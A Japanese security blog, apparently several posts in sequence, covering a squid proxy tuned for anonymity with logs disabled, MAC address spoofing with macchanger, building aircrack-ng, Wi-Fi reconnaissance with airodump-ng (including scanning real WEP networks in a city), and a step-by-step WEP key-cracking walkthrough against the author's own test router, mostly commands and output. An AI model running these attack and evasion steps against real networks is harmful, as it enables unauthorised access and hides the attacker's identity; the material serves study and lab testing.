HTTP プロキシ squid の導入
古典的な方法になりますが HTTP プロキシサーバを利用することで、Web ブラウジングにおける匿名性を少しだけ高めることができます。
Linux 系 OS においては squid という HTTP プロキシサーバが広く用いられます。以下は CentOS 7.4 への squid 導入例です。
squid インストール
# cat /etc/redhat-release CentOS Linux release 7.4.1708 (Core) # yum -y install squid # rpm -q squid squid-3.5.20-10.el7.x86_64
諸事情によりソースコードからインストールする場合は以下手順を実施します。libdb への参照が確実に行われるように configure 引数に LDFLAGS を付けるのが安全です。
# wget http://www.squid-cache.org/Versions/v3/3.5/squid-3.5.27.tar.gz # tar xzvf squid-3.5.27.tar.gz # cd squid-3.5.27 # ./configure --prefix=/usr --includedir=/usr/include --datadir=/usr/share \ --bindir=/usr/sbin --libexecdir=/usr/lib/squid --localstatedir=/var \ --sysconfdir=/etc/squid LDFLAGS="-ldb" # make -j 4 # make install
IPアドレス制限の解放
http_access allow localnet http_access allow localhost +http_access allow all
localhost へのアクセス禁止
-#http_access deny to_localhost +http_access deny to_localhost
HTTPSポートの追加許可
※ https://xxxxxx:1234/ 等へのアクセスを許可する場合
-acl SSL_ports port 443 +acl SSL_ports port 443 1234 .... -acl Safe_ports port 443 # https +acl Safe_ports port 443 1234 # https
各種パラメータの隠蔽
(末尾) +visible_hostname unkown +forwarded_for off +request_header_access X-FORWARDED-FOR deny all +request_header_access Via deny all +request_header_access Cache-Control deny all
ログ出力を行わない
(末尾) +access_log none +cache_store_log none +cache_log /dev/null +logfile_rotate 0
BASIC 認証
# yum -y install httpd-tools
# htpasswd -c /etc/squid/passwd {ユーザ名}
New password: (パスワード入力)
Re-type new password: (パスワード再入力)
# # INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS # +auth_param basic program /usr/lib64/squid/basic_ncsa_auth /etc/squid/passwd +acl password proxy_auth REQUIRED +http_access allow password
常時起動
# chkconfig squid on # service squid start
プロキシ判定されないための注意点
各種パラメータの隠蔽によりプロトコル上のプロキシ情報をある程度隠すことができますが、疑わしき点をさらに除外したいのならば HTTP プロキシを設置するサーバでは 80 (HTTP) や 443 (HTTPS) 等の「明らかにサーバ用途であるだろう」ポートは閉じておくのが良いです。
いくら HTTP リクエストヘッダ上のプロキシ情報を隠したとしても該当 IP への 80/443 ポートアクセスができてしまっては、そのノードがサーバインスタンスであること（可能性）は簡単に想像されてしまいます。実際に、そのようなポートが解放されているノードからの HTTP リクエストを deny するようなサイトはいくつかあります。
80/443 以外にも 3306 (MySQL) 等も同様です。
できる限りプロキシ経由であることを隠したいのならば、解放するポートは最低限に絞るのが得策です。
認証制限についての注意点
設置した HTTP プロキシを自分だけしか利用できないように認証をかけることは健全な運用としては理に適っていますが、逆にそのプロキシを使っている限りは常にそのプロキシの固定 IP からのアクセスとなるため、匿名性が下がる可能性もあります。
認証制限をかけずに不特定多数のユーザからのアクセスを許容することにより、自分以外のユーザアクセスを混ぜることで自分自身の匿名性を上げる選択もあるということを覚えておいてください。ただし他人による不正行為があった場合、プロキシ管理者であるあなたには説明責任や管理責任が問われることも同時に意識する必要があります。
前者後者どちらの選択を採り得るかはトレードオフの関係にありますので、それぞれの特性を理解した上で運用を行ってください。
macchanger によるネットワークアダプタ MAC アドレスの変更
ネットワークアダプタ（eth0, wlan0 等）には、いわゆるそのネットワークアダプタのハードウェア固有識別子として MAC アドレスをというものが割り当てられています。
# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
....
ether ef:89:0a:77:e4:01 txqueuelen 1000 (Ethernet)
....
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
....
ether 09:a8:aa:ce:32:e4 txqueuelen 1000 (Ethernet)
....ifconfig で各アダプタの MAC アドレスを確認することができます。
上記例では eth0 の MAC アドレスは ef:89:0a:77:e4:01、wlan0 の MAC アドレスは 09:a8:aa:ce:32:e4 であることが分かります。
MAC アドレスによる個人特定について
基本的にひとつのネットワークアダプタは世界中の他のどのネットワークアダプタとも値の被らない MAC アドレスを持っています。
これはつまり、MAC アドレスをログに記録しておけば（共有マシンでもない限りは）誰のマシンからのアクセスがあったかが解析される可能性があります。
そのような解析を諸事情により避けたい場合には、ネットワークアダプタの MAC アドレスを変更していまう、という手段があります。
macchanger による MAC アドレスの書き換え
現在状態の確認
# macchanger -s wlan0 Current MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd) Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
ランダムな MAC アドレスに設定
# ifconfig wlan0 down
# macchanger -r wlan0
Current MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
New MAC: 7e:37:f2:05:88:60 (unknown) … ★変更予約アドレス（次の ifconfig wlan0 up 時に適用）
# ifconfig wlan0 up
# ifconfig wlan0
....
ether 7e:37:f2:05:88:60 txqueuelen 1000 (Ethernet) … ★ MAC アドレスが変わった
# macchanger -s wlan0
Current MAC: 7e:37:f2:05:88:60 (unknown)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
元に戻す
# ifconfig wlan0 down
# macchanger -p wlan0
Current MAC: 7e:37:f2:05:88:60 (unknown)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
New MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
# ifconfig wlan0 up
# ifconfig wlan0
....
ether 09:a8:aa:ce:32:e4 txqueuelen 1000 (Ethernet) … ★ 元の MAC アドレスに戻った
指定の MAC アドレスに設定
# ifconfig wlan0 down
# macchanger -m 00:11:22:33:44:55 wlan0
Current MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
Permanent MAC: 09:a8:aa:ce:32:e4 (TwinHan Technology Co.,Ltd)
New MAC: 00:11:22:33:44:55 (CIMSYS Inc)
# ifconfig wlan0 up
# ifconfig wlan0
....
ether 00:11:22:33:44:55 txqueuelen 1000 (Ethernet) … ★ 指定通りの MAC アドレスになった
ルーター管理画面でのクライアント MAC アドレス確認
ルーターによっては管理画面で現在接続中のクライアントの MAC アドレスを確認できる機能があります。
今回実験に用いたルーターにもそのような画面があったので確認してみたところ、実際に任意設定した MAC アドレス「00:11:22:33:44:55」が表示されていることが確認できます。
プロトコル上、MAC アドレスはクライアントから自己申告するものですので、このような虚偽の情報を渡したとしてもルーターには MAC アドレスの正当性を判断する術が無いため、通信は問題なく行われます。（そして攻撃者としては生の MAC アドレスを知られることなく活動ができることになります）
aircrack-ng ソースコードからのビルド・インストール（Fedora, AmazonLinux)
前記事では Kali Linux に標準搭載の aircrack-ng スイートを用いて WEP 方式のアクセスポイントを奪取する手順を紹介しました。
aircrackn-ng は GitHub 上でソースコードが公開されており、様々なプラットフォームにおけるビルド・インストール手順が公開されているため、Kali Linux 以外の OS で動かすことが可能です。
Fedora release 26 への導入
OS 情報
# cat /etc/redhat-release Fedora release 26 (Twenty Six)
インストール
# yum -y install autoconf automake libtool libnl3-devel openssl-devel sqlite-devel gcc-c++ # git clone https://github.com/aircrack-ng/aircrack-ng.git # cd aircrack-ng # ./autogen.sh # ./configure # make # make install
結果確認
# aircrack-ng Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe https://www.aircrack-ng.org # which aircrack-ng /usr/local/bin/aircrack-ng # ls -ltr /usr/local/bin total 436 -rwxr-xr-x 1 root root 13136 Jan 31 17:23 aircrack-ng -rwxr-xr-x 1 root root 55392 Jan 31 17:23 airdecap-ng -rwxr-xr-x 1 root root 69888 Jan 31 17:23 packetforge-ng -rwxr-xr-x 1 root root 58768 Jan 31 17:23 ivstools -rwxr-xr-x 1 root root 17416 Jan 31 17:23 kstats -rwxr-xr-x 1 root root 28328 Jan 31 17:23 makeivs-ng -rwxr-xr-x 1 root root 43368 Jan 31 17:23 airdecloak-ng -rwxr-xr-x 1 root root 63456 Jan 31 17:23 wpaclean -rwxr-xr-x 1 root root 73760 Jan 31 17:23 airolib-ng
これら9種のコマンドが aircrack-ng スイートにより提供されるコマンド群。
Amazon Linux (AWS) への導入
OS 情報
$ cat /etc/system-release Amazon Linux release 2.0 (2017.12) LTS Release Candidate
インストール
# yum -y install autoconf automake libtool libnl3-devel openssl-devel sqlite-devel gcc-c++ # git clone https://github.com/aircrack-ng/aircrack-ng.git # cd aircrack-ng # ./autogen.sh # ./configure # make # make install
結果確認
# aircrack-ng Aircrack-ng 1.2 rc4 - (C) 2006-2015 Thomas d'Otreppe https://www.aircrack-ng.org # which aircrack-ng /usr/local/bin/aircrack-ng # ls -ltr /usr/local/bin total 436 -rwxr-xr-x 1 root root 13088 Feb 11 07:46 aircrack-ng -rwxr-xr-x 1 root root 55376 Feb 11 07:46 airdecap-ng -rwxr-xr-x 1 root root 69880 Feb 11 07:46 packetforge-ng -rwxr-xr-x 1 root root 58752 Feb 11 07:46 ivstools -rwxr-xr-x 1 root root 17368 Feb 11 07:46 kstats -rwxr-xr-x 1 root root 28280 Feb 11 07:46 makeivs-ng -rwxr-xr-x 1 root root 63408 Feb 11 07:46 wpaclean -rwxr-xr-x 1 root root 43328 Feb 11 07:46 airdecloak-ng -rwxr-xr-x 1 root root 73752 Feb 11 07:46 airolib-ng
これら9種のコマンドが aircrack-ng スイートにより提供されるコマンド群。
aircrack-ng による WEP 方式アクセスポイントの奪取
Wi-Fi の暗号方式には WEP, WPA, WPA2 等があり、これらの方式はどれも大抵のルーターで利用設定を行うことができます。ただ、このうちの WEP 方式については容易に解読されうる弱い暗号であることが分かっているため、最近のルーターであればこの機能はデフォルト OFF にされているのが普通です。
2003年に Wi-Fi Appliance から WEP 方式は WPA 方式にとって代わられたと発表され、2004年には IEEE からも WEP 方式が非推奨であることが宣言されました。
WEP 方式のアクセスポイントの探索
非推奨とされる WEP の実際の利用状況はどうなっているかというと、実はいまだに使われている状態が散見されます。
前記事「aircrack-ng による端末周辺の Wi-Fi 情報（SSID 等）の取得 - FAR EAST GATE」では端末周辺の Wi-Fi 情報の収集に触れました。実際に市街で
airodump-ng コマンドにより Wi-Fi アクセスポイント情報を収集してみると、WEP 方式のアクセスポイントがときおり観測されます。
ENC, CIPHER 欄が「WEP」となっている項目が WEP 方式のアクセスポイントです。
WEP がまだ残っているのは、おそらく古いルーター（WPA非対応）を使い続けている人によるものではないかと想像しています。また、初代ニンテンドーDSが WPA に対応していない等、旧機種依存のためにあえて WEP を設定している人もまだ多少はいると思います。
なお、airodump-ng の実行時に「--encrypt WEP」の引数を与えると WEP 方式のアクセスポイントのみに絞って観測を行うことができるため、WEP 方式アクセスポイントのみを探索したい場合にはこの引数を指定すると良いです。以下は実行例です。
# airodump-ng --encrypt WEP wlan0mon CH 12 ][ Elapsed: 12 s ][ 2018-xxxx BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID C2:xx:xx:xx:xx:3A -50 31 0 0 5 54e WEP WEP <length: 15> A6:xx:xx:xx:xx:86 -62 29 0 0 8 54e WEP WEP <length: 15> BSSID STATION PWR Rate Lost Frames Probe (not associated) AC:xx:xx:xx:xx:71 -67 0 - 1 3 6
WEP 方式のアクセスポイントの奪取
検証用機材の準備
他人のアクセスポイントを奪取するわけにもいかないので、検証用のアクセスポイントを自分で用意します。具体的には以下の機材を用意します。
以下はルータの無線設定画面です。
暗号化方式を WEP とし、暗号化キーを大小英数と記号の混じった13文字に設定しました。ここまで複雑なキーを総当たりで突破するのは無理でしょう。
無線ネットワークアダプタの MAC アドレスの確認
攻撃者マシン側の無線ネットワークアダプタの MAC アドレスを確認しておきます。
# ifconfig -a
wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether f6:79:84:db:e5:90 txqueuelen 1000 (Ethernet)
この MAC アドレスは後の工程で使うため、Bash 変数に格納しておきます。
# MYMAC=f6:79:84:db:e5:90
モニタモードの開始
モニタモードを開始します。
# airmon-ng check kill # airmon-ng start wlan0
アクセスポイントの確認
airodump-ng によりアクセスポイントの BSSID（MACアドレス）, CH（チャンネル）, ESSID（SSID）を確認します。
# airodump-ng --encrypt WEP wlan0mon BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID ................. 34:F1:C5:9A:03:41 -37 10 0 0 11 54e WEP WEP AirPort .................
ここで確認した BSSID, CH, ESSID は後の工程で使うので、Bash 変数に保管しておきます。
# BSSID=34:F1:C5:9A:03:41 # CH=11 # ESSID=AirPort
利用チャンネルを明示指定してモニタモードを再起動
# airmon-ng stop wlan0mon # airmon-ng start wlan0 $CH
アソシエーションの確立
自分（攻撃者）のネットワークアダプタとアクセスポイントの間にアソシエーションを確立します。
# aireplay-ng -1 0 -e $ESSID -a $BSSID -h $MYMAC wlan0mon 22:21:35 Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11 22:21:35 Sending Authentication Request (Open System) [ACK] 22:21:35 Authentication successful 22:21:35 Sending Association Request [ACK] 22:21:35 Association successful :-) (AID: 1)
WEP Fragmentation attack の実施
aireplay-ng コマンドにより WEP Fragmentation attack を実施します。このとき、アクセスポイントに対して接続している正当なクライアントがいないと処理が進まないことに注意してください。WEP Fragmentation attack は正当なクライアントからの通信パケットを傍受することにより必要な情報を収集します。
# aireplay-ng -5 -b $BSSID -h $MYMAC wlan0mon
20:07:28 Waiting for beacon frame (BSSID: 34:F1:C5:9A:03:41) on channel 11
20:07:28 Waiting for a data packet...
Read 3329 packets...
Size: 70, FromDS: 0, ToDS: 1 (WEP)
BSSID = 34:F1:C5:9A:03:41 … ルーターのMACアドレス
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = 19:05:91:A3:C2:12 … 接続しに来たクライアントのMACアドレス
0x0000: 0842 0000 0100 5e00 00fb 34f1 c59a 0341 .B....^...4v....
0x0010: 1905 91a3 c212 f040 c3ab 7500 1c18 6710 d..C...@..u...g.
0x0020: ....................................... ................
0x0030: ....................................... ................
0x0040: bd03 .... 671f ..=.g.
Use this packet ? y ←「y」を入力して進める
Saving chosen packet in replay_src-0208-222738.cap
22:27:42 Data packet found!
22:27:42 Sending fragmented packet
....
....（10秒以内程度）
....
22:27:46 Got RELAYED packet!!
Saving keystream in fragment-0208-222746.xor
Now you can build a packet with packetforge-ng out of that 1500 bytes keystream
# ls -ltr
-rw-r--r-- 1 root root 112 Feb 8 22:27 replay_src-0208-222738.cap
-rw-r--r-- 1 root root 1504 Feb 8 22:27 fragment-0208-222746.xorリレーパケットの受信により .cap ファイルおよび .xor ファイルができあがります。
ARPリクエストファイルの作成
packetforge-ng コマンドによりARPリクエストファイル（arp-request）を作成します。
# packetforge-ng -0 -a $BSSID -h $MYMAC -k 255.255.255.255 -l 255.255.255.255 \
-y fragment-*.xor -w arp-request
Wrote packet to: arp-request
# ls -ltr
total 12
-rw-r--r-- 1 root root 112 Feb 8 22:27 replay_src-0208-222738.cap
-rw-r--r-- 1 root root 1504 Feb 8 22:27 fragment-0208-222746.xor
-rw-r--r-- 1 root root 108 Feb 8 22:31 arp-request
キャプチャ開始
airodump-ng により通信情報をキャプチャします。今回はアクセスポイントのチャンネル番号と BSSID（MAC アドレス）に絞った観測を行い、結果を wepcap-*.cap というファイルに出力します。
# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 34:F1:C5:9A:03:41 -39 100 74 0 0 11 54e WEP WEP AirPort BSSID STATION PWR Rate Lost Frames Probe
この airodump-ng は実行しっぱなしにしておき、「#Data」の数値が溜まるのを待ちます。
ARP リクエスト
標的側のクライアントが積極的に通信をしていれば airodump-ng が収集している「#Data」の数値は勝手に増えていきますが、そうでもない場合には ARP リクエストの送信により通信量の増加を促します。
airodump-ng の実行は止めずに別ターミナルで以下を実行します。（Bash 変数は別ターミナルでも設定し直してください）
# aireplay-ng -2 -h $MYMAC -r arp-request wlan0mon
Size: 68, FromDS: 0, ToDS: 1 (WEP)
BSSID = 34:F1:C5:9A:03:41
Dest. MAC = FF:FF:FF:FF:FF:FF
Source MAC = F6:79:84:DB:E5:90
0x0000: 0841 0201 34f1 c59a 0341 f679 84db e590 .A..4v........@=
....
....
0x0040: 3aa5 23dd :.#.
Use this packet ? y ←「y」を入力して進める
ダンプ状況の確認
実行中の airodump-ng の様子を確認します。「#Data」が4万程度まで溜まっていればだいたい十分です。
# airodump-ng --channel $CH --bssid $BSSID -w wepcap wlan0mon CH 11 ][ Elapsed: 6 s ][ 2018-02-08 22:37 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 34:F1:C5:9A:03:41 -42 0 6682 46053 1 11 54e WEP WEP BSSID STATION PWR Rate Lost Frames Probe
WEP キーの解析
airodump-ng, aireplay-ng の実行はそのまま止めず、airorump-ng が出力する wepcap-*.cap というファイルができているかどうか確認してみます。
# ls -ltr .... .... -rw-r--r-- 1 root root 142892335 Feb 8 23:01 wepcap-01.cap
この .cap ファイルから aircrack-ng コマンドにより WEP キーの解析を行うことができます。
airodump, aireplay-ng とは別でさらに新しいターミナルを開き、以下を実行します。（Bash 変数は別ターミナルでも設定し直してください）
# aircrack-ng -a 1 -b $BSSID wepcap-01.cap
Aircrack-ng 1.2 rc4
[00:00:08] Tested 601 keys (got 98109 IVs)
KB depth byte(vote)
0 0/ 1 7A(144640) 85(112640) B1(111104) AD(109824) 30(109312)
....
....
KEY FOUND! [ 7A:21:49:69:7A:67:33:31:64:41:66:67:3F ] (ASCII: z!Iizg31dAfg? )
Decrypted correctly: 100%成功です。今回冒頭のほうで設定していた WEP キー「z!Iizg31dAfg?」がみごと解析により判明しました。
解析が終わったら、実行中の airodump-ng, aireplay-ng は終了し、airmon-ng stop wlan0mon で後始末をしてください。
手順が長いですが、これらの手順をある程度自動化するツールもありますので、機会があればいつか紹介します。
aircrack-ng による端末周辺の Wi-Fi 情報（SSID 等）の取得
aircrack-ng スイート（ツール群）に含まれる airmon-ng, airodump-ng コマンドにより、端末周辺に飛び交っている Wi-Fi アクセスポイントやクライアント等の情報を収集することができます。
aircrack-ng は様々なプラットフォームで動作するバイナリおよびソースコードが配布されていますが、Kali Linux にはディストリビューション時点で aircrack-ng が標準搭載されている ため、手動のインストールは不要です。
ネットワーク管理プロセスの停止
NetworkManager 等のネットワーク管理プロセスが立ち上がっていると airmon-ng の動作が阻害されることがあるため、airmon-ng を使うときにはこれらを停止しておく必要があります。
「airmon-ng check」コマンドにより airmon-ng へ影響を与える全プロセスを確認することができます。
# airmon-ng check Found 4 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 333 NetworkManager 436 wpa_supplicant 568 dhclient 1554 dhclient
いくつかのネットワーク管理プロセスが見つかりました。
これらはひとつひとつ kill コマンドで停止することもできますが、「airmon-ng check kill」コマンドにより一括停止させることもできるので大抵はこの機能を使うのが良いです。
# airmon-ng check kill Killing these processes: PID Name 436 wpa_supplicant 568 dhclient # airmon-ng check (何も表示されないことを確認)
ネットワークアダプタの確認
airmon-ng を実行する前に「iwconfig」コマンドによりネットワークアダプタの一覧を確認しておきます。
# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off「wlan0」という名前の有効な Wi-Fi アダプタが見つかりました。今回はこのアダプタを用いて airmon-ng を実行します。
モニタモード (airmon-ng) の開始
airmon-ng は Wi-Fi のモニタ機能を提供します。「airmon-ng start <ネットワークアダプタ名>」でモニタモードを開始します。
# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 ath9k Qualcomm Atheros AR9285 ......
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
モニタモードの開始ができたら、再度「iwconfig」コマンドによりネットワークアダプタの一覧を見てみます。
# iwconfig
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
lo no wireless extensions.
eth0 no wireless extensions.「wlan0」というアダプタが消え、代わりに「wlan0mon」という新しいアダプタができたことが確認できます。
このアダプタを用いて今後 Wi-Fi 情報のモニタリングを行うことになります。
端末周辺の Wi-Fi 情報の表示
airmon-ng によって作成されたモニタ用アダプタ（今回のケースでは「wlan0mon」）を用いて、airodump-ng コマンドにより端末周辺の Wi-Fi 情報をリアルタイムにモニタリングした結果を表示できます。
以下は実行例です。
# airodump-ng wlan0mon CH 3 ][ Elapsed: 0 s ][ 2018-........... BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID F4:...........:5C -58 2 0 0 13 54e. WPA2 CCMP PSK .... 36:...........:79 -66 3 0 0 6 54e. WPA2 CCMP PSK .... 00:...........:40 -60 3 0 0 1 54e OPN .... 34:...........:82 -40 4 0 0 11 54e WPA2 CCMP PSK AirPort BSSID STATION PWR Rate Lost Frames Probe (not associated) 86:...........:F5 -68 0 - 1 0 1 (not associated) B6:...........:D2 -41 0 - 1 1 2 (not associated) 08:...........:C8 -73 0 - 1 0 1 00:...........:20 C0:...........:4B -81 0 - 1e 0 2
※今回伏字にしていない AirPort という SSID は実験用に自分で用意したアクセスポイントです。
airodump-ng の表示は大きく分けて上段と下段に分かれています。下段が見えない場合はコンソールのサイズを縦に広げてみてください。
airodump-ng 上段（BSSID, PWR, Beacons, ..., ESSID）
検出されたアクセスポイント一覧が表示されます。
airodump-ng 下段（BSSID, STATION, ..., Probe）
検出されたクライアント一覧が表示されます。
airodump-ng の終了
Ctrl+C キーにより airodump-ng を終了します。
モニタモード (airmon-ng) の終了
「airmon-ng stop <モニタ用アダプタ名>」コマンドによりモニタモードを終了します。
# airmon-ng stop wlan0mon
PHY Interface Driver Chipset
phy0 wlan0mon ath9k Qualcomm Atheros AR9285 ......
(mac80211 station mode vif enabled on [phy0]wlan0)
(mac80211 monitor mode vif disabled for [phy0]wlan0mon)
モニタモードを終了したら、「iwconfig」によりネットワークアダプタの確認をし直します。
root@laptop-kali:~# iwconfig
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=15 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off「wlan0mon」が消え、「wlan0」が元通り表示されることが確認できます。
通常の Wi-Fi 利用を再開する際には、必要に応じて NetworkManager 等を起動し直してください。
Kali Linux 有線ネットワークが NetworkManager によって自動切断される問題の解消
端末同士をLANケーブルで直接接続して通信していると、Kali Linux 側のネットワーク (eth0) が一定時間の経過後に自動で切断されてしまうことがあります。これは NetworkManager が自動で eth0 を無効と判断し切断しているようです（おそらく端末間の直接接続なので DHCP が見つからないために無効と判断されているように思います。切断理由の詳細は時間のあるときにまた調べ直しておきます）。
NetworkManager からの干渉を受けたくないネットワーク（今回のケースでは eth0）については /etc/network/interfaces に自前で設定を書いておくことで干渉を避けることができます。
# vi /etc/network/interfaces (以下を追記) auto eth0 iface eth0 inet dhcp # service network-manager restart
また、NetworkManager が明示的に /etc/network/interfaces を見にいくように、/etc/NetworkManager/NetworkManager.conf も変更しておく必要があります。
# vi /etc/NetworkManager/NetworkManager.conf ... [ifupdown] managed=false ← ここを true に変更
今回のケースでは端末同士の直接接続のため DHCP を利用しませんが、状況によっては DHCP のあるネットワークに繋げることもあるため、interfaces での記述は「dhcp」としました。
※ ifup 時に DHCP が無い場所でも DHCP を探しにいってしまう分の待ち時間が発生してしまいますが、それほど不便は感じていないのでそのまま運用しています。
